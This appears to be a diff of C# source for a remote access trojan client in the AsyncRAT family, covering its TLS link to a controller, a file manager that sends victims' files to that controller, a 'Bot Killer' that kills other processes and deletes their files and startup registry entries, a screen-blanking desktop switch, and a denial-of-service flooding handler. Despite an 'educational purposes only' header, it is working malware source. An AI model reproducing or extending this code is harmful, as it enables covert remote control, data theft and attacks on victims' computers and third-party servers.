||||
return;
|
||||
}
|
||||
Offset += rc;
|
||||
HeaderSize -= rc;
|
||||
if (HeaderSize < 0)
|
||||
int rc = SslClient.Read(Buffer, 0, Buffer.Length);
|
||||
if (rc == 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(Buffer);
|
||||
Offset = 0;
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
}
|
||||
else
|
||||
{
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
}
|
||||
}
|
||||
else if (HeaderSize < 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -216,7 +196,7 @@ namespace Client.Connection
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsConnected)
|
||||
if (!IsConnected || msg == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
@ -228,22 +208,25 @@ namespace Client.Connection
|
||||
if (msg.Length > 1000000) //1mb
|
||||
{
|
||||
Debug.WriteLine("send chunks");
|
||||
using (MemoryStream memoryStream = new MemoryStream(msg))
|
||||
int chunkSize = 50 * 1024;
|
||||
byte[] chunk = new byte[chunkSize];
|
||||
using (MemoryStream buffereReader = new MemoryStream(msg))
|
||||
{
|
||||
int read = 0;
|
||||
memoryStream.Position = 0;
|
||||
byte[] chunk = new byte[50 * 1000];
|
||||
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
|
||||
BinaryReader binaryReader = new BinaryReader(buffereReader);
|
||||
int bytesToRead = (int)buffereReader.Length;
|
||||
do
|
||||
{
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(chunk, 0, read);
|
||||
chunk = binaryReader.ReadBytes(chunkSize);
|
||||
bytesToRead -= chunkSize;
|
||||
SslClient.Write(chunk, 0, chunk.Length);
|
||||
SslClient.Flush();
|
||||
}
|
||||
} while (bytesToRead > 0);
|
||||
|
||||
binaryReader.Dispose();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(msg, 0, msg.Length);
|
||||
SslClient.Flush();
|
||||
}
|
||||
@ -256,30 +239,14 @@ namespace Client.Connection
|
||||
}
|
||||
}
|
||||
|
||||
public static void KeepAlivePacket(object obj)
|
||||
public static void CheckServer(object obj)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
|
||||
Send(msgpack.Encode2Bytes());
|
||||
GC.Collect();
|
||||
ActivatePong = true;
|
||||
}
|
||||
catch { }
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)Methods.TheCPUCounter.NextValue()}% RAM {(int)Methods.TheMemCounter.NextValue()}%";
|
||||
Send(msgpack.Encode2Bytes());
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
private static void Pong(object obj)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (ActivatePong && IsConnected)
|
||||
{
|
||||
Interval++;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,4 +1,8 @@
|
||||
using System;
|
||||
using Client.Handle_Packet;
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
@ -9,7 +13,7 @@ using System.Net.Security;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Net;
|
||||
using MessagePackLib.MessagePack;
|
||||
using Client.Algorithm;
|
||||
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : Nyan Socket v0.1
|
||||
@ -17,15 +21,15 @@ using MessagePackLib.MessagePack;
|
||||
|
||||
// This program is distributed for educational purposes only.
|
||||
|
||||
namespace Plugin
|
||||
namespace Client.Connection
|
||||
{
|
||||
public class TempSocket
|
||||
{
|
||||
public Socket TcpClient { get; set; }
|
||||
public SslStream SslClient { get; set; }
|
||||
private byte[] Buffer { get; set; }
|
||||
private static long HeaderSize { get; set; }
|
||||
private static long Offset { get; set; }
|
||||
private long Buffersize { get; set; }
|
||||
private MemoryStream MS { get; set; }
|
||||
public bool IsConnected { get; set; }
|
||||
private object SendSync { get; } = new object();
|
||||
private static Timer Tick { get; set; }
|
||||
@ -33,7 +37,7 @@ namespace Plugin
|
||||
|
||||
public TempSocket()
|
||||
{
|
||||
if (!Connection.IsConnected) return;
|
||||
if (!ClientSocket.IsConnected) return;
|
||||
|
||||
try
|
||||
{
|
||||
@ -43,15 +47,14 @@ namespace Plugin
|
||||
SendBufferSize = 50 * 1024,
|
||||
};
|
||||
|
||||
TcpClient.Connect(Connection.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Connection.TcpClient.RemoteEndPoint.ToString().Split(':')[1]));
|
||||
TcpClient.Connect(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1]));
|
||||
|
||||
Debug.WriteLine("Temp Connected!");
|
||||
IsConnected = true;
|
||||
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
|
||||
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
Buffer = new byte[4];
|
||||
MS = new MemoryStream();
|
||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
}
|
||||
@ -68,7 +71,7 @@ namespace Plugin
|
||||
#if DEBUG
|
||||
return true;
|
||||
#endif
|
||||
return Connection.ServerCertificate.Equals(certificate);
|
||||
return Settings.ServerCertificate.Equals(certificate);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
@ -86,77 +89,69 @@ namespace Plugin
|
||||
Tick?.Dispose();
|
||||
SslClient?.Dispose();
|
||||
TcpClient?.Dispose();
|
||||
MS?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void ReadServertData(IAsyncResult ar) //Socket read/recevie
|
||||
public void ReadServertData(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!TcpClient.Connected || !IsConnected)
|
||||
if (!ClientSocket.IsConnected || !IsConnected)
|
||||
{
|
||||
IsConnected = false;
|
||||
Dispose();
|
||||
return;
|
||||
}
|
||||
int recevied = SslClient.EndRead(ar);
|
||||
if (recevied > 0)
|
||||
{
|
||||
Offset += recevied;
|
||||
HeaderSize -= recevied;
|
||||
if (HeaderSize == 0)
|
||||
MS.Write(Buffer, 0, recevied);
|
||||
if (MS.Length == 4)
|
||||
{
|
||||
HeaderSize = BitConverter.ToInt32(Buffer, 0);
|
||||
Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
|
||||
if (HeaderSize > 0)
|
||||
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
|
||||
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
Offset = 0;
|
||||
Buffer = new byte[HeaderSize];
|
||||
while (HeaderSize > 0)
|
||||
Buffer = new byte[Buffersize];
|
||||
while (MS.Length != Buffersize)
|
||||
{
|
||||
int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
|
||||
if (rc <= 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
Offset += rc;
|
||||
HeaderSize -= rc;
|
||||
if (HeaderSize < 0)
|
||||
int rc = SslClient.Read(Buffer, 0, Buffer.Length);
|
||||
if (rc == 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
Dispose();
|
||||
return;
|
||||
}
|
||||
MS.Write(Buffer, 0, rc);
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(MS.ToArray());
|
||||
Buffer = new byte[4];
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(Buffer);
|
||||
Offset = 0;
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
}
|
||||
else
|
||||
{
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
}
|
||||
}
|
||||
else if (HeaderSize < 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
IsConnected = false;
|
||||
Dispose();
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
Dispose();
|
||||
return;
|
||||
}
|
||||
}
|
||||
@ -167,7 +162,7 @@ namespace Plugin
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsConnected || !Connection.IsConnected)
|
||||
if (!IsConnected || !ClientSocket.IsConnected)
|
||||
{
|
||||
Dispose();
|
||||
return;
|
||||
@ -179,16 +174,21 @@ namespace Plugin
|
||||
if (msg.Length > 1000000) //1mb
|
||||
{
|
||||
Debug.WriteLine("send chunks");
|
||||
using (MemoryStream memoryStream = new MemoryStream(msg))
|
||||
int chunkSize = 50 * 1024;
|
||||
byte[] chunk = new byte[chunkSize];
|
||||
using (MemoryStream buffereReader = new MemoryStream(msg))
|
||||
{
|
||||
int read = 0;
|
||||
memoryStream.Position = 0;
|
||||
byte[] chunk = new byte[50 * 1000];
|
||||
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
|
||||
BinaryReader binaryReader = new BinaryReader(buffereReader);
|
||||
int bytesToRead = (int)buffereReader.Length;
|
||||
do
|
||||
{
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(chunk, 0, read);
|
||||
}
|
||||
chunk = binaryReader.ReadBytes(chunkSize);
|
||||
bytesToRead -= chunkSize;
|
||||
SslClient.Write(chunk, 0, chunk.Length);
|
||||
SslClient.Flush();
|
||||
} while (bytesToRead > 0);
|
||||
|
||||
binaryReader.Dispose();
|
||||
}
|
||||
}
|
||||
else
|
@ -1,13 +1,12 @@
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
|
||||
namespace Plugin.Handler
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleBlankScreen
|
||||
public static class HandleBlankScreen
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
||||
@ -45,27 +44,31 @@ namespace Plugin.Handler
|
||||
}
|
||||
|
||||
// old desktop's handle, obtained by getting the current desktop assigned for this thread
|
||||
public readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
static readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
// new desktop's handle, assigned automatically by CreateDesktop
|
||||
public IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
|
||||
static IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
|
||||
|
||||
public void Run()
|
||||
public static bool switcher = false; //the screen is not blanked be default so this should be false
|
||||
public static void RunBlankScreen()
|
||||
{
|
||||
try
|
||||
{
|
||||
SwitchDesktop(hNewDesktop);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
try
|
||||
{
|
||||
SwitchDesktop(hOldDesktop);
|
||||
//light switch logic CopyPasta by MrDevBot
|
||||
if (switcher == false) //The current screen is NOT blanked and needs to be
|
||||
{
|
||||
SwitchDesktop(hNewDesktop);
|
||||
switcher = true; //sets the switch to on for next click
|
||||
return; //returns to calling function
|
||||
}
|
||||
else //the screen is blanked and should be switched back to old
|
||||
{
|
||||
SwitchDesktop(hOldDesktop);
|
||||
switcher = false; //sets the switch to off for next click
|
||||
return; //returns to calling function
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -3,11 +3,17 @@ using System.IO;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System.Security.Principal;
|
||||
using MessagePackLib.MessagePack;
|
||||
using Plugin;
|
||||
|
||||
namespace Miscellaneous.Handler
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : Bot Killer v0.2.5
|
||||
// │ Contact : https://github.com/NYAN-x-CAT
|
||||
|
||||
// This program Is distributed for educational purposes only.
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleBotKiller
|
||||
{
|
||||
@ -19,16 +25,15 @@ namespace Miscellaneous.Handler
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Inspection(p.MainModule.FileName.ToLower()))
|
||||
if (Inspection(p.MainModule.FileName))
|
||||
if (!IsWindowVisible(p.MainWindowHandle))
|
||||
{
|
||||
string pName = p.MainModule.FileName;
|
||||
p.Kill();
|
||||
RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName);
|
||||
RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName);
|
||||
System.Threading.Thread.Sleep(200);
|
||||
System.Threading.Thread.Sleep(100);
|
||||
File.Delete(pName);
|
||||
System.Threading.Thread.Sleep(200);
|
||||
count++;
|
||||
}
|
||||
}
|
||||
@ -39,17 +44,17 @@ namespace Miscellaneous.Handler
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "BotKiller";
|
||||
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
|
||||
private bool Inspection(string threat)
|
||||
{
|
||||
if (threat == Process.GetCurrentProcess().MainModule.FileName.ToLower()) return false;
|
||||
if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData).ToLower())) return true;
|
||||
if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile).ToLower())) return true;
|
||||
if (threat == Process.GetCurrentProcess().MainModule.FileName) return false;
|
||||
if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData))) return true;
|
||||
if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile))) return true;
|
||||
if (threat.Contains("wscript.exe")) return true;
|
||||
if (threat.StartsWith(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET").ToLower())) return true;
|
||||
if (threat.StartsWith(Path.Combine(Path.GetPathRoot(Environment.SystemDirectory), "Windows\\Microsoft.NET"))) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
@ -94,5 +99,4 @@ namespace Miscellaneous.Handler
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
}
|
||||
|
||||
}
|
@ -1,12 +1,21 @@
|
||||
using System;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using MessagePackLib.MessagePack;
|
||||
using Plugin;
|
||||
|
||||
namespace Miscellaneous.Handler
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : DOS-Attack-Post 0.2
|
||||
// │ Contact : https://github.com/NYAN-x-CAT
|
||||
|
||||
// This program is distributed for educational purposes only.
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleDos
|
||||
{
|
||||
@ -30,7 +39,7 @@ namespace Miscellaneous.Handler
|
||||
|
||||
|
||||
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
|
||||
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && Connection.IsConnected)
|
||||
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected)
|
||||
{
|
||||
for (int i = 0; i < 20; i++)
|
||||
{
|
||||
@ -55,12 +64,7 @@ namespace Miscellaneous.Handler
|
||||
Thread.Sleep(5000);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
Packet.ctsDos.Cancel();
|
||||
}
|
||||
catch { return; }
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,13 +1,20 @@
|
||||
using System;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Authentication;
|
||||
using System.Net.Security;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
using MessagePackLib.MessagePack;
|
||||
|
||||
namespace Plugin.Handler
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class FileManager
|
||||
{
|
||||
@ -77,7 +84,7 @@ namespace Plugin.Handler
|
||||
case "deleteFolder":
|
||||
{
|
||||
string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
|
||||
if (Directory.Exists(fullPath)) Directory.Delete(fullPath, true);
|
||||
if (Directory.Exists(fullPath)) Directory.Delete(fullPath);
|
||||
break;
|
||||
}
|
||||
|
||||
@ -99,10 +106,7 @@ namespace Plugin.Handler
|
||||
{
|
||||
if (filesArray[i].Length > 0)
|
||||
{
|
||||
if (unpack_msgpack.ForcePathObject("IO").AsString == "copy")
|
||||
File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true);
|
||||
else
|
||||
File.Move(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])));
|
||||
File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@ -126,47 +130,6 @@ namespace Plugin.Handler
|
||||
Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
|
||||
break; ;
|
||||
}
|
||||
|
||||
case "zip":
|
||||
{
|
||||
if (Packet.ZipPath == null)
|
||||
{
|
||||
CheckForSevenZip();
|
||||
}
|
||||
if (Packet.ZipPath == null)
|
||||
{
|
||||
Error("not installed!");
|
||||
return;
|
||||
}
|
||||
if (unpack_msgpack.ForcePathObject("Zip").AsString == "true")
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
StringBuilder location = new StringBuilder();
|
||||
foreach (string path in unpack_msgpack.ForcePathObject("Path").AsString.Split(new[] { "-=>" }, StringSplitOptions.None))
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(path))
|
||||
{
|
||||
sb.Append($"-ir!\"{path}\" ");
|
||||
if (location.Length == 0)
|
||||
location.Append(Path.GetFullPath(path));
|
||||
}
|
||||
}
|
||||
Debug.WriteLine(sb.ToString());
|
||||
Debug.WriteLine(location.ToString());
|
||||
ZipCommandLine(sb.ToString(), true, location.ToString());
|
||||
}
|
||||
else
|
||||
{
|
||||
ZipCommandLine(unpack_msgpack.ForcePathObject("Path").AsString, false, "");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "installZip":
|
||||
{
|
||||
InstallSevenZip(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@ -177,83 +140,6 @@ namespace Plugin.Handler
|
||||
}
|
||||
}
|
||||
|
||||
private void ZipCommandLine(string args, bool isZip, string location)
|
||||
{
|
||||
if (isZip)
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "\"" + Packet.ZipPath + "\"",
|
||||
Arguments = $"a -r \"{location}.zip\" {args} -y",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = false,
|
||||
ErrorDialog = false,
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "\"" + Packet.ZipPath + "\"",
|
||||
Arguments = $"x \"{args}\" -o\"{args.Replace(Path.GetFileName(args), "_" + Path.GetFileNameWithoutExtension(args))}\" -y",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = false,
|
||||
ErrorDialog = false,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void CheckForSevenZip()
|
||||
{
|
||||
try
|
||||
{
|
||||
string sevenZip64 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "7-Zip", "7z.exe");
|
||||
string sevenZip32 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "7-Zip", "7z.exe");
|
||||
string asyncratSvenzip = Path.Combine(Path.GetTempPath(), "7-Zip", "7z.exe");
|
||||
|
||||
if (File.Exists(sevenZip64))
|
||||
Packet.ZipPath = sevenZip64;
|
||||
|
||||
else if (File.Exists(sevenZip32))
|
||||
Packet.ZipPath = sevenZip32;
|
||||
|
||||
else if (File.Exists(asyncratSvenzip))
|
||||
Packet.ZipPath = asyncratSvenzip;
|
||||
|
||||
else
|
||||
Packet.ZipPath = null;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void InstallSevenZip(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
string asyncratSvenzip = Path.Combine(Path.GetTempPath(), "7-Zip");
|
||||
if (!Directory.Exists(asyncratSvenzip))
|
||||
{
|
||||
Directory.CreateDirectory(asyncratSvenzip);
|
||||
}
|
||||
|
||||
using (FileStream fs = new FileStream(Path.Combine(asyncratSvenzip, "7z.exe"), FileMode.Create))
|
||||
fs.Write(unpack_msgpack.ForcePathObject("exe").GetAsBytes(), 0, unpack_msgpack.ForcePathObject("exe").GetAsBytes().Length);
|
||||
|
||||
using (FileStream fs = new FileStream(Path.Combine(asyncratSvenzip, "7z.dll"), FileMode.Create))
|
||||
fs.Write(unpack_msgpack.ForcePathObject("dll").GetAsBytes(), 0, unpack_msgpack.ForcePathObject("dll").GetAsBytes().Length);
|
||||
Error("installation is done!");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Error(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public void GetDrivers()
|
||||
{
|
||||
try
|
||||
@ -261,7 +147,6 @@ namespace Plugin.Handler
|
||||
DriveInfo[] allDrives = DriveInfo.GetDrives();
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||
StringBuilder sbDriver = new StringBuilder();
|
||||
foreach (DriveInfo d in allDrives)
|
||||
@ -271,7 +156,7 @@ namespace Plugin.Handler
|
||||
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
||||
}
|
||||
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
@ -284,7 +169,6 @@ namespace Plugin.Handler
|
||||
Debug.WriteLine($"Getting [{path}]");
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||
StringBuilder sbFolder = new StringBuilder();
|
||||
StringBuilder sbFile = new StringBuilder();
|
||||
@ -308,7 +192,7 @@ namespace Plugin.Handler
|
||||
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
||||
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
||||
msgpack.ForcePathObject("CurrentPath").AsString = path.ToString();
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -348,7 +232,6 @@ namespace Plugin.Handler
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "socketDownload";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("Command").AsString = "pre";
|
||||
msgpack.ForcePathObject("DWID").AsString = dwid;
|
||||
msgpack.ForcePathObject("File").AsString = file;
|
||||
@ -358,12 +241,12 @@ namespace Plugin.Handler
|
||||
|
||||
MsgPack msgpack2 = new MsgPack();
|
||||
msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack2.ForcePathObject("Command").AsString = "save";
|
||||
msgpack2.ForcePathObject("DWID").AsString = dwid;
|
||||
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
|
||||
msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
|
||||
tempSocket.Send(msgpack2.Encode2Bytes());
|
||||
tempSocket.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
@ -372,6 +255,35 @@ namespace Plugin.Handler
|
||||
}
|
||||
}
|
||||
|
||||
//private void ChunkSend(byte[] msg, Socket client, SslStream ssl)
|
||||
//{
|
||||
// try
|
||||
// {
|
||||
// byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||
// client.Poll(-1, SelectMode.SelectWrite);
|
||||
// ssl.Write(buffersize);
|
||||
// ssl.Flush();
|
||||
|
||||
// int chunkSize = 50 * 1024;
|
||||
// byte[] chunk = new byte[chunkSize];
|
||||
// using (MemoryStream buffereReader = new MemoryStream(msg))
|
||||
// {
|
||||
// BinaryReader binaryReader = new BinaryReader(buffereReader);
|
||||
// int bytesToRead = (int)buffereReader.Length;
|
||||
// do
|
||||
// {
|
||||
// chunk = binaryReader.ReadBytes(chunkSize);
|
||||
// bytesToRead -= chunkSize;
|
||||
// ssl.Write(chunk);
|
||||
// ssl.Flush();
|
||||
// } while (bytesToRead > 0);
|
||||
|
||||
// binaryReader.Dispose();
|
||||
// }
|
||||
// }
|
||||
// catch { return; }
|
||||
//}
|
||||
|
||||
public void ReqUpload(string id)
|
||||
{
|
||||
try
|
||||
@ -379,7 +291,6 @@ namespace Plugin.Handler
|
||||
TempSocket tempSocket = new TempSocket();
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
|
||||
msgpack.ForcePathObject("ID").AsString = id;
|
||||
tempSocket.Send(msgpack.Encode2Bytes());
|
||||
@ -391,12 +302,9 @@ namespace Plugin.Handler
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("Command").AsString = "error";
|
||||
